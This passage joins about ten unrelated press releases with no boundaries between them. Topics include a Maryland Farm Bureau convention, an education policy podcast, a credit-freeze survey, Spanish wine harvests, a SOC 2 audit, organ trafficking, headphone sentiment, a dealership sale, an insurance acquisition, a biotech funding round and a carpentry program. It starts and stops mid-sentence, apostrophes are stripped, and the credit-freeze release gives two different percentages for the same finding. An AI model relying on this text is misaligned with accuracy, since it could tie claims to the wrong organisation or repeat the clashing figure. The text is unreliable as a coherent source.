scholarship program. The winners are Jaclyn Bryant, Frederick County (sophomore at Frederick Community College), and Xavier Cox, Prince Georges County (junior at University of Maryland Eastern Shore). Bob Tibbs, Harford County Charolais producer, received the Distinguished Service Award for his lifetime of achievements, awards and service, including being named a Harford County Treasure. The Agri-Woman of the Year award went to Evelyn Wilcom, Monrovia dairy farmer and retired nurse, for her over 60 years of service to the Farm Bureau and numerous other organizations. Garrett County won an AFBF County Activity of Excellence, while on the state level, Carroll County and Howard County won Silver Bowl awards for receiving top scores in all program areas. Program areas include leadership, outreach and more. The Young Farmers competition is a highlight that showcases the upcoming generation of farming leaders. Winners are: Discussion Meet: Logan Yearsley, Prince Georges County (College Park) Collegiate Discussion Meet: Olivia Scuderi, Montgomery County (Gaithersburg, attends University of Maryland) Excellence in Agriculture: Katie Stevens, Frederick County (Frederick) Achievement Award: Emmy Dallam, Harford County (Bel Air) In another first this year, the Leopold Conservation Award was awarded to a Maryland farm or landowner, with the winner announced at the convention. Persistence Creek Farm and the Warring family of Faulkner won the honor in Marylands inaugural year. Every two years, the American Farm Bureau Federation bestows upon select members of Congress recognition to those who work tirelessly to support the interest of farmers across the country and rural America. Senator Chris Van Hollen was one of seven members of Marylands congressional delegation to receive the Friend of Farm Bureau award for the 116th Congress. His award was presented in person during the convention. Policy Updates Delegates amending or making policy annually shapes the landscape of Maryland agriculture. This year, a national policy resolution from the convention affects wildlife management on federal lands; We support requiring federal agencies to manage wildlife populations on federal lands in a way that minimizes damage to neighboring private property including crop damage and livestock depredation. On the state level, new policies were introduced on cyber-ag security for the food chain and on urban agriculture. The Maryland Farm Bureau supports research and implementation of cyber-ag security programs to protect local and state supply chains. The association bolstered its support of urban agriculture by adding policies, such as modifying zoning laws, grants, training programs and use of Open Space funds. The details can be found here. Elections The following Maryland Farm Bureau officers and district directors who were up for re-election to the state board of directors won their respective elections: President Wayne Stafford of Cecil County First Vice President John Draper of Queen Annes County Second Vice President Jonathan Quinn of Kent County Billy Bishoff District 1, Garrett County Ashley Barber District 2, Carroll County Jamie Tiralla District 3, Calvert County Jo-Ann Chason District 4, Baltimore County Marshall Cahall District 5, Kent County Mary Lou Brown District 6, Dorchester County Ed Heikes of Talbot County was elected to serve on the MDFB Political Action Committee. Another pre-conference event was the Womens Leadership Committee meeting, where they added a new position and elected Connie Palmer of Frederick County as its second vice president. Community Outreach Maryland Farm Bureau also celebrates its Young Farmers committee that collected 597 pounds of food donated through the Young Farmers Fill-A-Ford Campaign, in partnership with Preston Ford and the Maryland Food Bank, at last weeks event. # # # MARYLAND FARM BUREAU, INC. is a 501(c)(5) federation that serves as the united voice of Maryland farm families. Our organizational strength comes from the active participation of over 10,000 individual and family members who belong to the states 23 local county Farm Bureau organizations. Since 1915, Maryland Farm Bureau has been committed to protecting and growing agriculture and preserving rural life. Maryland Farm Bureau is a proud member of the American Farm Bureau Federation. Learn more at MDFarmBureau.com. Jeff Vincent, Julien Lafortune, and Kathleen Gebhardt In this months episode of the NEPC Talks Education, NEPC Researcher Christopher Saldana interviews Jeff Vincent, Julien Lafortune, and Kathleen Gebhardt about K-12 public school facilities and infrastructure. Vincent is cofounder and director of the Center for Cities and Schools at the University of California, Berkeley, where he studies how school facilities serve as both educational and neighborhood assets. Lafortune is a research fellow at the Public Policy Institute of California, where he researches education finance, school capital funding policy, and educational tracking and stratification. Gebhardt is a school board member in the Boulder Valley School District, as well as a director for the Colorado and National School Board Associations. She is also an attorney and adjunct professor teaching education law at University of Colorado Boulder and University of Denver. Saldana, Lafortune, Vincent, and Gebhardt discuss K-12 school infrastructure spending and its impact on student outcomes. They also explore a model state K-12 school capital funding program designed and implemented in Colorado. Vincent explains that unlike school operating expenditures, funds for facilities such as a new school or building upgrades come largely from local revenues. In their recent article, How Much Does Public School Facility Funding Depend on Property Wealth?, Vincent and his co-authors examine how wide variations in local property values can result in students living in low-income communities having less adequate school facilities than students living in more affluent communities. Lafortune explains that this gap should concern policymakers given the evidence that spending on school buildings can have an impact on student performance. Lafortune explains that despite methodological challenges in studying the causal effect of infrastructure spending on student outcomes, new studiesincluding one he co-authored with David Schonholzer entitled The Impact of School Facility Investments on Students and Homeowners: Evidence from Los Angeleshas found that spending on facilities can improve student academic outcomes, especially in areas where school buildings are dilapidated or overcrowded. Gebhardt describes the Colorado Building Excellent Schools Today (BEST) program. The BEST program grew out of Giardino v. Colorado, a court case that challenged the states approach to funding school facilities. The BEST program provides grants for school facilities from the states general fund. According to Gebhardt, although the program funding is insufficient to meet the need, it has been successful in providing much-needed funding for school facilities in many communities that otherwise would not have been able to construct new schools or upgrade their existing schools. Lafortune, Vincent, and Gebhardt all agree that school facility and infrastructure spending should receive more attention. Vincent encourages policymakers to consider how state governments and the federal government might play a larger and more consistent role in addressing the inequity that exists in current infrastructure spending. Lafortune argues one way to ensure that facilities spending is most effective is by identifying buildings that are most in need of upgrades; he argues that the strongest research evidence suggests that spending on buildings in the worst condition can have a significant effect on student academic outcomes. Gebhardt explains that because policymakers are often concerned about using one-time funds for ongoing expenditures, she recommends that one-time COVID funds be used to upgrade facilities; in particular, upgrades that improve air quality and provide more space for students. A new NEPC Talks Education podcast episode, hosted by Christopher Saldana, will be released each month from September through May. Dont worry if you miss a month. All episodes are archived on the NEPC website and can be found here. NEPC podcast episodes are also available on Apple Podcasts, Spotify, and Stitcher, under the title NEPC Talks Education. Subscribe and follow! The National Education Policy Center (NEPC), a university research center housed at the University of Colorado Boulder School of Education, produces and disseminates high-quality, peer-reviewed research to inform education policy discussions. Visit us at: https://nepc.colorado.edu Eight percent of respondents have never placed a credit freeze because they believe it will impact their credit score or require payment to freeze or thaw. "This research shows that there needs to be improved awareness and utilization of credit freezes, particularly for minor children," said Eva Velasquez, President and CEO of the Identity Theft Resource Center. Today, the Identity Theft Resource Center (ITRC), a nationally recognized nonprofit organization established to support victims of identity crime, published research conducted by DIG.Works that explored the relationship between data breach notices and a decision for a consumer to freeze their credit, as well as credit freezes in general. The ITRC and DIG.Works surveyed 1,050 U.S. adult consumers on the topic and discovered that most consumers are familiar with the credit freeze process. However, there is a disconnect between awareness of credit freezes and how often consumers use them to protect their or their familys identities. More than three-fourths of consumers responding to the survey said they were familiar with the credit freeze process. Fewer than one-third of overall survey respondents had frozen their credit at one time for any reason; only three (3) percent of consumers froze their credit after receiving a data breach notice. Confusion and incorrect information about the process, cost and impact on credit scores caused a significant number of consumers to avoid freezing their credit. Eleven (11) percent of respondents have never placed a credit freeze because they incorrectly believe it will impact their credit score or require payment to freeze or thaw. However, most respondents did not freeze their credit because they didnt think they needed to do so. One-third of respondents said they did not believe it was necessary to freeze their childrens credit to prevent identity misuse; a slightly larger number reported freezing their childrens credit. Download the ITRCs Credit Freeze Research The vast majority of people know what a credit freeze is but do not take advantage of this valuable resource, said Eva Velasquez, President and CEO of the Identity Theft Resource Center. A credit freeze is generally considered the most effective tool to prevent new accounts from being opened in your name. This research shows that there needs to be improved awareness and utilization of credit freezes, particularly for minor children. ITRC expert advisors are always available to walk people through the steps of how to place a credit freeze and the advantages of doing so. Based on the research, the ITRC believes the following should be done to address these findings: Data breach notices issued under state laws and federal regulations should include an explicit recommendation for victims to freeze their credit as soon as possible, regardless of the type of data compromised in a breach. Data breach notices should include information that clarifies that credit monitoring alone cannot prevent a new account from being created. Businesses, victim advocates and government representatives should collaborate on a comprehensive education plan to improve awareness and utilization rates of credit freezes. A special emphasis should be placed on the benefits of freezing a minors credit. The consumer reporting industry should improve the ease of operation of credit freeze and thaw requests, especially for minor children. This includes creating a common system where consumers can freeze or thaw their credit without contacting each Credit Reporting Agency (CRA). Consumers can receive free live victim support or guidance from a knowledgeable advisor on how to place a credit freeze by calling 888.400.5530 or visiting idtheftcenter.org to live-chat. Consumers can visit FrozenPii.org to freeze their credit. About this Survey The ITRC thanks Jonathon Sasse and Anders Steele for their donation of this research project on behalf of the ITRC and identity crime victims. Please visit DIG.Works to learn more. About the Identity Theft Resource Center Founded in 1999, the Identity Theft Resource Center (ITRC) is a national nonprofit organization established to empower and guide consumers, victims, business and government to minimize risk and mitigate the impact of identity compromise and crime. Through public and private support, the ITRC provides no-cost victim assistance and consumer education through its website live-chat idtheftcenter.org and toll-free phone number 888.400.5530. The ITRC also equips consumers and businesses with information about recent data breaches through its data breach tracking tool, notified. The ITRC offers help to specific populations, including the deaf/hard of hearing and blind/low vision communities. Media Contact Identity Theft Resource Center Alex Achten Head of Earned & Owned Media Relations 888.400.5530 Ext. 3611 media@idtheftcenter.org Local harvest reports issued by Cava, Montsant and Pla de Bages appellations reveal North-East Spain has experienced an abundant and quality harvest in 2021. Despite a longer than usual harvest due climatic factors, Cava collected 300 million kilos of grapes. According to the Regulatory Boards Technical Services: The grapes are in good health, with a suitable acidity and alcohol content for the production of excellent Cavas. The 2021 vintage will be the first vintage in which wineries will distinguish their wines by the grapes sourcing territory, since the new zones and sub-zones approved by the Designation of Origin Regulatory Council came into force. Organic production continues to grow too, in anticipation of further quality oriented changes in PDO regulations whereby Cava de Guarda Superior wines must be made from 100% organically grown grapes by 2025. Organic Cava production has increased by more than 245% in the last 5 years, from 4 million bottles in 2016 to 13.8 million in 2020, and last year organic Cava accounted for 6.4% of the total appellation volume - in number of bottles. A great result has been achieved also by Montsant DO appellation whose harvest amounts to 8,7 million kilos of grapes, with an increase of 50% with respect to 2020. Last time such a plentiful harvest was recorded was in 2016. The reasons for this increase can be traced back to the snowfall at the beginning of the 2021 season which allowed vines to store water, as well as to the regular summer rainfalls. As far as varieties, red grapes represent 93% of the total, 60% of which are Garnacha and Carinena. As for white grapes, Garnacha blanca and Macabeo remain the main varieties, amounting to 90% of the total white grapes harvested. An increase has been registered also for DO Pla de Bages, thanks to both new vineyards and a favourable season which led to 1,700,000 kilos of grapes. In this case too, regular rainfalls during all the growing season have benefited a more abundant yield and yet proper ripening of the berries. The program: European quality wines: taste the difference is a project financed by the European Union and managed by Unione Italiana Vini and PRODECA for the promotion of PDO and PGI European wines abroad in China and US. In order to achieve this objective, the TTD.EU program will organize wine seminars, workshops and b2b meetings both in these countries and in Spain and Italy, inviting wine professionals to join study trips to Europe. The program, realized in the span of three years (2021-2023) aims at creating awareness about European quality wines, in particular Italian and Spanish, which share a long tradition and a high standard of quality. The beneficiaries: Unione Italiana Vini is the oldest and most commissioned Association of the Italian wine market. It represents cooperative, private and agricultural wine-companies, bottlers, consortia, associations and wine-making machines or wine cellars / laboratory manufacturers, located throughout the Italian territory. Promotora de Exportaciones Catalanas (PRODECA) is a public company established in 1986 and part of the Ministry of Climate Action, Food and Rural Agenda of the Government of Catalonia. It supports the agri-food sector and its companies with the knowledge, tools and experience to increase their products in Catalunya and worldwide. We will continue to increase the security requirements in our audits with the utmost confidence that we will remain compliant. OATI has successfully completed a SOC 2 Type 1 evaluation plus a National Institute of Standards and Technology Special Publication 800-53 (NIST SP 800-53) Revision 5 at a moderate impact level, showing OATIs dedication to following strict industry information security standards. Over 500 controls/processes were evaluated. The SOC 2 Type 1 audit, conducted by Schellman & Company, LLC, assesses OATIs management of customer data based on security and availability principles. The SOC 2 audit inspected OATIs data management practices at the time of the audit. OATI uses this information to make processes and procedures more secure, which will be assessed during a SOC 2 Type 2 audit in the coming years. OATI added NIST SP 800-53 controls to the SOC 2 audit to further show compliance with strict security requirements. OATI over previous years was assessed through a NIST SP 800-53 Revision 4 low impact audit. For 2021, OATI increased the standards by being assessed through the NIST SP 800-53 Revision 5 at a moderate impact level. This adjustment doubled the amount of controls that were assessed, and OATI was able to meet these additional standards, proving a higher level of security in the information systems. Please contact NIST@oati.net with any questions or to request a copy of the report. OATI is always on the lookout to expand our compliance repertoire, said Sasan Mohktari, President & CEO of OATI. We will continue to increase the security requirements in our audits with the utmost confidence that we will remain compliant. About OATI OATI provides innovative solutions that simplify, streamline, and empower the operational tasks required in todays energy commerce and Smart Grid. Serving more than 2, 500 customers in North America, OATI successfully deploys and hosts diverse mission-critical solutions committed to industry standards and stringent security guidelines. OATI (http://www.oati.com) is a leading provider of Smart Grid, Energy Trading and Risk Management, Transmission Scheduling, Congestion Management, Distribution, and Market Management products and services. OATI is headquartered in Minneapolis, Minnesota, with offices in California, Punjab, and Telangana. For more information, please contact sales@oati.net. An estimated 5 to 10% of all global organ transplants result from illegal trade in human organs that generates between $840 million and $1.7 billion per year. Bad things happen and they tend to cast a shadow over the whole transplantation process. In the U.S., however, we have a very strict and tightly regulated allocation system that prevents the issue of unfairness from arising. Every area has a list, and everybody on the list has the same chance. An estimated five to ten percent of all global organ transplants result from illegal trade in human organs that generates between USD $840 million and $1.7 billion per year. In this market, an illicit transplant costs between $50,000 (kidney) and $290,000 (liver), of which the sometimes involuntary donor receives only a small fraction. The underlying cause of this racket, says Sim Shain, CEO of ParaFlight EMS and organflights.com, is that the need for transplants is much greater than the supply of donor organs, causing potential recipients to seek a way to circumvent the rules. There are bad things that happen, says Shain, and they tend to cast a shadow over the whole transplantation process. In the U.S., however, we have a very strict and tightly regulated allocation system that prevents the issue of unfairness from arising. Every geographic area has a list, and everybody on the list has the same chance. Elsewhere in the world, he notes, inequities are common. Earlier this year, for example, experts from the United Nations Council reported instances of alleged organ harvesting targeting minorities in custody in China, including Falun Gong practitioners, Uyghurs, Tibetans, Muslims, and Christians. In India and other countries, as job losses mount due to the COVID-19 pandemic, desperate people are seeking new ways to make money; evidence points to a resulting deadly surge in illicit organ trafficking. As noted previously, even in the best of times the need for donor organs greatly outstrips the supply. Prior to the pandemic, according to a spokesperson from the World Health Organization, less than 10% of the global need for donations was being met every year. In the U.S.,all organ donations are managed by the United Network for Organ Sharing (UNOS), a nonprofit organization that contracts with the Department of Health and Human Services to serve as the nations organ transplant system. UNOS manages the national transplant waiting list, matching donors to recipients 24 hours per day, 365 days per year. Using a combination of donor and recipient medical data, medical urgency, and location of transplant and donor hospitals, UNOS generates a rank-order list of candidates for each available organ. In all cases, comments Shain, only medical and logistical data are taken into account; characteristics such as celebrity or wealth do not play a role. Shain also notes that as he operates within the UNOS system, he sees it in action daily. Every hospital in the country that does transplants is part of the system. Jeff Bezos couldnt jump the line. Meanwhile in the U.S. as in the rest of the world, the need for organ donations far exceeds the supply. Nationally, there are over 100,000 people on the waiting list for an organ transplant. About 36,000 Americans a year receive a life-saving organ transplant. Sadly however, 17 people die each day waiting for a transplant. On the transport side of it, says Shain, were doing everything we can to bring that number down. What matters most to us is getting the organ to the recipient in time to save a life. About ParaFlight EMS and Aviation, and Organ Flights Sim Shain, Founder and CEO of ParaFlight EMS and Aviation, and organflights.com, has led a remarkable 27-year career working in the pre-hospital emergency medical space. He is a noteworthy leader who takes on challenging responsibilities leading corporate, medical, and charity flights and missions specializing in organ transplants. Sim is a devoted volunteer who contributes towards numerous well-known organizations such as Chai Lifelines Camp Simcha, United Hatzalah of Israel, The Special Children's Center, Birthright Israel, and providing Hatzolah EMS, in-flight medical support to children with cancer and disabilities, free of charge. ParaFlight EMS and Aviation and OrganFlights.com personify his lifelong mission of "changing the world, one organ at a time." For more, visit http://www.paraflight.aero and http://www.organflights.com. 1. Cusack, John. Why Illegal Trafficking in Organs Is Growing Fast. but Few Are Talking about It. Financial Crime News, 13 July 2020, thefinancialcrimenews.com/why-illegal-trafficking-in-organs-is-growing-fastbut-few-are-talking-about-itby-steve-farrer/. 2. China: UN Human Rights Experts Alarmed by 'Organ Harvesting' Allegations. OHCHR, ohchr.org/EN/NewsEvents/Pages/DisplayNews.aspx?NewsID=27167. 3. Covid-19 a 'Perfect Storm' for Organ Trafficking Victims. SciDev.Net, 5 Oct. 2021, scidev.net/global/features/covid-19-a-perfect-storm-for-organ-trafficking-victims/. 4. How Are Patients Selected to Receive a Transplant, Donor Alliance, 23 May, 2017, donoralliance.com/newsroom/donation-essentials 5. Organ & Tissue Donation Fast Facts, Gift of Life Donor Program, donors1.org/learn-about-organ-donation/who-can-donate/get-the-facts A new report Apple AirPods Max: One Year Later released today by Revuze, the provider of AI-powered consumer insights for the worlds biggest brands, highlights AirPods Max had a 57% consumer sentiment score and a 3.92 average star rating, with pricing noted as one of the barriers to positive consumer sentiment. Consumers also weighed in with complaints about the products comfort and weight. Apple released its AirPods Max on December 15, 2020, just in time for last-minute Christmas shoppers. One of Apples highest-end options in the AirPods line-up, it debuted with a whopping $549.00 price tag and raised eyebrows for its peculiar design. One year later consumers have tried the product and compared it with its main competitors, such as Sonys WH-1000XM4 and Bose 700. Boaz Grinvald, CEO of Revuze said, There are many avenues for customer feedback verified online reviews, online forms and social media and all play a mission-critical role in influencing buyer behavior and a brands decisions about new product roll-out or product enhancements. Drawing from our index of over 640 million customer product insights, which increases with regular updates, we empower brands with instant analysis of consumer sentiments. No other solution provides the depth of insight that includes comprehensive customer opinions for many of todays leading product categories, including beauty, electronics, appliances, fashion, personal care and household essentials. Artificial Intelligence at Work Indexing and Analyzing Product Insights Revuze utilizes artificial intelligence (AI) to index and analyze millions of online consumer opinions. Companies from Fortune 500 to smaller ecommerce enterprises use Revuzes product insights for market research purposes. Using Sentimate, the first on-demand product insights engine that delivers instant access to detailed analyses of current customer opinion across 250,000 products, Revuze analyzed consumer opinions on Apples AirPods Max. Also analyzed are opinions for Apples more successful entry-level AirPods option. Researching consumer sentiment in relation to specific topics, such as noise cancellation and comfort, to see what consumers like and dislike about the product, revealed: Overall, the AirPods Max performed worse than the category average (59% sentiment and 4.01 star rating). Pricing and value for money were the products main pain points, resulting in a related 38% sentiment score, as opposed to the hierarchy average of 55%. AirPods Max performed poorly in relation to comfort, with consumers complaining about the products weight, the earpads material, and the overall fit. Consumer sentiment in relation to comfort was 71%, 4 points lower than the category average. Analysis of Consumer Opinions Influences Product Development Product managers and brand marketers at companies like Apple can use Revuzes insights to identify their products strengths and weaknesses, see what consumers are saying about them, and ultimately make mission-critical decisions about new products or future enhancements. In close to real time, Sentimate offers one-click access to customer reactions to new products and categories. Rather than wait the weeks or months traditional research takes, companies can understand almost immediately how their products are received, used and perceived by verified buyers. It will be interesting to see if Apple will persist and release an improved version of their AirPods Max, or if they will decide to stick to their more successful earphone products, noted Grinvald. Methodology The Apple AirPods Max: One Year Later results came from an analysis of over 12,000 consumer opinions on wireless headphones published on Amazon US and Amazon UK throughout Q3 in 2021. Sentimate relies on proprietary algorithms and unique artificial intelligence (AI) to perform the data analysis from collection to classification achieving a level of speed, granularity, and accuracy that no common algorithm could reach. The products considered for this study were priced at a minimum of $75.00. This data helped to benchmark Apples AirPods Max against their product category (on-ear headphones) and individual competitors. Consumer sentiment is the percentage of positive opinions over the total number of opinions expressed on the product or on a specific topic regarding the product. Sentimate Availability Sentimate is available now to early users through a free tier that provides access to insights into any product. Parties interested in additional insights, including deeper product comparisons, the ability to download data, and complete overviews featuring the most discussed topics, can upgrade to a monthly subscription to take advantage of Sentimates full offering at any time. For more information, or to try Sentimate, visit https://sentimate.com/. About Revuze Revuze is the first company to provide on-demand access to 640 million consumer insights into over 250,000 products. Since 2013, Revuze has been servicing some of the biggest brands in the world with access to valuable consumer insights in a matter of hours, instead of months, with the first freemium SasS model. Revuzes AI-powered solution helps product companies in any industry from electronics to personal care, from home appliances to consumer-packaged goods monitor the ecommerce market, identify emerging trends, and assess products strengths and weaknesses. Backed by Nielsen and SAP, Revuze is headquartered in Netanya, Israel, and has offices in New York, NY, and Montreal, Canada. For more information visit http://www.revuze.it. Media Contact Consort Partners for Revuze revuze@consortpartners.com There are a lot of people in the market who will make you a deal, but only Performance Brokerage Services will take care of you like their own. Performance Brokerage Services, North Americas highest volume dealership brokerage firm, is pleased to announce the sale of Perry Ford in Poway, California from Perry Automotive Group to Vikas Mehandroo. Perry Ford of Poway was purchased by Perry Automotive Group in 1996. As long-time Ford dealers in Central California, Co-Owner, Perry Falk, acquired the Poway location and relocated his family to San Diego. The group consists of Perry CDJR and Perry Ford of National City, Perry Ford Lincoln and Perry Volkswagen of San Luis Obispo, and Perry Ford of Santa Barbara. Following the sale, Co-Owner, Deborah Falk, commented, Selling a family business is hard enough, but selling a split-family business is extra difficult. Jason Stopnitzky of Performance Brokerage Services was a great intermediary for us and was very respectful of my interests. He listens to what you want and he finds the deal to make it happen. He exceeded my expectations. Over the last 5 years, Performance Brokerage Services has advised on the sale of over 250 dealerships, making it the highest volume dealership brokerage firm in North America. In 2021, the company expects to consummate over 70 transactions, marking a record-breaking year. Jason Stopnitzky, the exclusive agent for this transaction and Co-Founder of Performance Brokerage Services commented, We have known Perry Falk for over 2 decades, as he built a legacy under the Ford umbrella. It has been an honor to represent Perry and Deborah Falk in this transaction. We wish Vikas Mehandroo much success with his first store and have no doubt that this is just the beginning for him. He does what he says and says what he means. It was a pleasure getting to know him through this process and we look forward to working with him again in the future. Vikas Mehandroo came to the United States 21 years ago and was introduced to the automotive industry as a salesman. He quickly realized that it wasnt only about the cars, but about serving the people. After selling cars for nine months, he was promoted to finance manager where he stayed for the next 4 years, until he became General Manager. Over the course of 12 years, Vikas served as General Manager for multiple dealerships and franchises including Toyota, Infiniti, CDJR, Nissan, and Ford. Vikas decided he was ready for the next chapter in his career, and in February 2021, made a commitment to himself that he would be a dealer principal by the end of the year. Vikas teamed up with Performance Brokerage Services, and ultimately made that dream a reality. Vikas commented, It all started 10 months ago with a simple phone call to Performance Brokerage Services. The fact that Jason and Jesse Stopnitzky spent 50 minutes on the first phone call with a first-time purchaser told me they are the only people to do business with. When Performance Brokerage showed Vikas the Ford dealership in Poway, Vikas claimed it was love at first sight. He added, Ford is the greatest OEM, with a fantastic Minority Owners Program. Following the acquisition, Vikas commented, Jason Stopnitzky has been a guide, a friend, a mentor, and above all an inspiration to never give up. From day one, Jason always made me feel at home and never made me realize this was my first deal. There are a lot of people in the market who will make you a deal, but only Performance Brokerage Services will take care of you like their own. I owe it to Jason for my first store, there is no way that I could have done it without him. The dealership will remain at its current location at 12740 Poway Road in Poway, California and will be renamed Aaron Ford of Poway, named after Vikas son. Vikas shared his goal of building a foundation on strong customer service stating, We will take care of the people. We want to do it right and do it differently. Perry Automotive Group was represented by James P. Barone of Ferruzzo & Ferruzzo LLP in Newport Beach, California. Vikas Mehandroo was represented by the Law Office of Jason B. Cruz in Redlands, California. About Performance Brokerage Services Performance Brokerage Services, Inc. is the nations highest volume dealership brokerage firm, specializing in buy-sell activity for automotive, commercial truck, motorcycle, RV and equipment dealerships. With over 25 years of experience, 700 dealerships sold and a 90% closing rate, the companys reputation is unmatched and governed by the utmost ethical conduct and integrity. The company offers a unique approach by providing complimentary estimates of value with no upfront fees, no reimbursement of costs and paid a success fee after the transaction closes. Headquartered in Irvine, California, and supported by 5 regional offices in Utah, Florida, Texas, Virginia and New Jersey, clients benefit from national exposure with local representation. As trusted and respected experts in the field, the company utilizes an extensive network of industry related attorneys, accountants, hundreds of registered buyers, and longstanding relationships with most of the auto manufacturers. For more information about the services offered by Performance Brokerage Services, visit https://performancebrokerageservices.com. Alabama Insurance Exchange will add to our Commercial Insurance presence in the Birmingham market and provide opportunities to grow our Personal Lines Private Client programs. PointeNorth Insurance Group, LLC (PNIG), one of the largest locally owned and operated independent insurance agencies in the Southeast, has acquired Alabama Insurance Exchange (AIE) located in Birmingham, Alabama. As part of the acquisition, Alabama Insurance Exchange has joined the PointeNorth Alliance, which provides member partners with additional carrier markets, services, and tools to develop new talent, grow organically, and increase profitability. Alabama Insurance Exchange, PointeNorth Insurance Groups sixth Alabama location, offers both commercial insurance and personal insurance services. They will continue to operate under their current brand and the leadership of Clayton B. Taylor, Jr. Alabama Insurance Exchange will add to our Commercial Insurance presence in the Birmingham market and provide opportunities to grow our Personal Lines Private Client programs. Clayton Taylor and the talented team in his organization will enhance the capabilities already established with our Iron Mountain Insurance operation, comments William Bill Skeeles, President and CEO of PointeNorth Insurance Group. Through its membership in the PointeNorth Alliance, Alabama Insurance Exchange receives access to additional markets and products, use of a broad range of technologies, and the ability to leverage the scale of being a part of a larger organization. Having operated independently for almost 50 years, we studied all potential M&A possibilities with a critical eye. It was very important to find the perfect fit in terms of ethics, service culture, team values, and markets. PointeNorth checked all the boxes and we are extremely honored to join them, Taylor commented. PointeNorth Insurance Group is a successful independent insurance agency that provides opportunities for other independent insurance agencies that are looking to partner with an organization that can invest in their future success. PointeNorth Insurance Group has the capital to invest in the future and is actively growing through strategic mergers and acquisitions. PointeNorth will continue its focus on growth, both through acquisition and the continued expansion of our Producer Development Program. Core strategies for 2022 include expansion of our Transportation Program beyond its current footprint and a continued aggressive pace for merger and acquisition opportunities, according to Skeeles. PointeNorth Insurance Group acquired two agencies in 2021. PointeNorth Insurance Group has expanded to more than 230 employees with operations in Georgia, Alabama, and South Carolina. About PointeNorth Insurance Group PointeNorth, one of the top 60 agencies in the United States, offers insurance and financial products to more than 55,000 households and businesses nationwide and was formed through the partnering of outstanding agencies throughout the Southeast. PointeNorth Insurance Group, LLC is headquartered at 1100 Circle 75 Parkway, Atlanta, Georgia. For more information, visit http://www.PointeNorthIns.com. Media Contact: Stephanie Richards contact@sowgrowpr.com 678-744-7690 Prellis Biologics announced today that it has closed a $14.5 million Series B financing round, led by Celesta Capital and current investor Khosla Ventures Prellis will use the proceeds to advance its Externalized Immune System (EXIS) platform, a first-in-class in vitro, fully human antibody discovery, and vaccine screening workflow. The EXIS platform offers unprecedented in vitro access to a functional human immune system. Weve built a platform that enables promising science to be rapidly advanced into new patient therapies, said Dr. Melanie P. Matheu, Founder and CEO. Were thrilled to continue expanding upon the exciting potential of this technology, thanks to the support of our investors and collaboration partners. Joining the board as part of the series B financing are Michael Marks, General Partner at Celesta Capital, and Shaun Holt, former COO of single-cell discovery company Berkeley Lights. We are extremely excited about the technology Prellis has developed and were delighted to support this investment, said Marks. Today, pharmaceutical antibody discovery takes a long time, carries high costs due to reliance on animals, and the antibodies too rarely perform as hoped once they reach human trials. We are ready to support marketing for the EXIS platform now that initial deals have helped to prove out its great potential. In addition to the financing momentum, Prellis has recruited a pair of seasoned industry executives to support expansion of their EXIS platform: Kevin Chapman, PhD, formerly of Berkeley Lights, Inc. and Merck & Co., Inc., as Chief Scientific Officer Yelda Kaya, MBBS, LLB, MBA, formerly of J&J Innovation, GSK and Ashurst, as Chief Business Officer The EXIS platform functions precisely like a human lymph node: enabling cell-cell interactions in tissue and immune responses, B cell class switching, somatic hypermutation and development of antigen-specific human antibodies from multiple donors. The Prellis approach uses an antigen challenge carefully designed to break tolerance a naturally embedded fail-safe that prevents auto-antibody development. EXIS unlocks fully human antibody development for all therapeutic areas including cancer and autoimmune disease, dramatically accelerating the development of much needed therapeutics, with demonstrated platform expansion into camelid nanobody discovery. EXIS is an ultra-fast, animal-free platform for raising human antibodies to human proteins, said Kevin Chapman, CSO. In a matter of a few months, the team has been able to generate state of the art human antibody libraries against a whole host of immune-oncology targets. We are extremely excited to extend the system to human immunogenicity testing, and patient antibody mining. ABOUT PRELLIS BIOLOGICS, INC. Prellis Biologics, Inc. is the first company to develop a fully synthetic, animal-free functional human immune system. Prellis developed the first holographic printing system able to match and accurately replicate human organ and tissue structures for R&D and organ transplantation. The combined resolution and speed of Prellis Biologics printing technology allows for human tissue and organ systems to be created in a scalable and biocompatible fashion. Prellis is dedicated to improving patient lives by discovering novel therapeutics utilizing its unique capabilities in antibody discovery, in vitro human disease models, and ultimately by solving the global human organ transplant shortage. Prellis Biologics, Inc. was founded in 2016 and is a privately held company based in San Francisco, CA. Learn more at prellisbio.com. Reach Cyber Charter School Announces New Carpentry Program Thanks to Reach Cybers new partnership...we are able to create an exciting opportunity and experience for students to gain skills in an essential trade, earn credit for their mastery, and get a jump start on their career through apprenticeship opportunities. Reach Cyber Charter Schools Career Pathways program, which connects high school students to career opportunities in various fields through a robust certification and badging program, announces a new carpentry track, expanding career exploration options for high school students throughout Pennsylvania. Available starting January 2022 for high school students of the unique, tuition-free, online public charter school, the carpentry program will allow students to gain skills in woodworking and construction, thanks to a partnership with Maplewoodshop and the United Brotherhood of Carpenters and Joiners of America. We are excited to launch this important program for our high school students next semester, said JD Smith, director of the Career Pathways Program. Thanks to Reach Cybers new partnership with the United Brotherhood of Carpenters and Joiners of America and Maplewoodshop, we are able to create an exciting opportunity and experience for students to gain skills in an essential trade, earn credit for their mastery, and get a jump start on their career through apprenticeship opportunities. The carpentry program will be available to students in grades 10-12, with the curriculum intensifying as they advance grade levels. Students will receive a textbook and a personal workbench provided by Maplewoodshop to use at home with various woodworking tools, allowing them to build realistic models to scale. Carpentry I and II will span one semester each, while Carpentry III will span a full school year. Upon earning their certification of completion for the courses, Reach Cyber students will be able to receive an apprenticeship opportunity through the United Brotherhood of Carpenters and Joiners of America. They will be able to apply skills learned in the program to work on real-life construction projects. Not only will those who completed Reach Cybers courses be considered top candidates for the apprenticeship - they will also be immediately credited for one year of the four-year apprenticeship. Wyatt Anderson, newly hired as a full-time Reach Cyber instructor, will lead the Career Pathways carpentry program. He joins Reach Cyber with prior experience in education and as a carpenter and electrician. According to Anderson, the carpentry program will further emphasize the importance of trades as options for students post-graduation. College is a fantastic option for students, as are trades, said Anderson. With this program, we are offering a chance for students to see that doing something great goes beyond taking a test and reading a textbook. Trades such as carpentry allow individuals to explore and advance their intelligence and education through hands-on experience. Its not just the physical skills that students can acquire from pursuing the carpentry track under the Career Pathways program. According to Smith, students can also sharpen their soft skills. Students can work on their problem solving, teambuilding, and goal setting by participating in this program, said Smith. They can also gain entrepreneurship skills. There are so many career paths available, and at Reach Cyber, we are providing the foundation for our students to go forth and explore many of those options while still in high school. Organizing one of the first programs of its kind, Reach Cyber, Maplewoodshop and the United Brotherhood of Carpenters and Joiners of America intend to eventually invite other high schools that dont have programming opportunities like this to also enroll their students in Reach Cybers carpentry course. Enrollment is currently open for the school year. To begin the enrollment process, visit ConnectionsAcademy.com/Reach-Cyber-School/Enrollment. To learn more about Reach Cybers Career Pathways 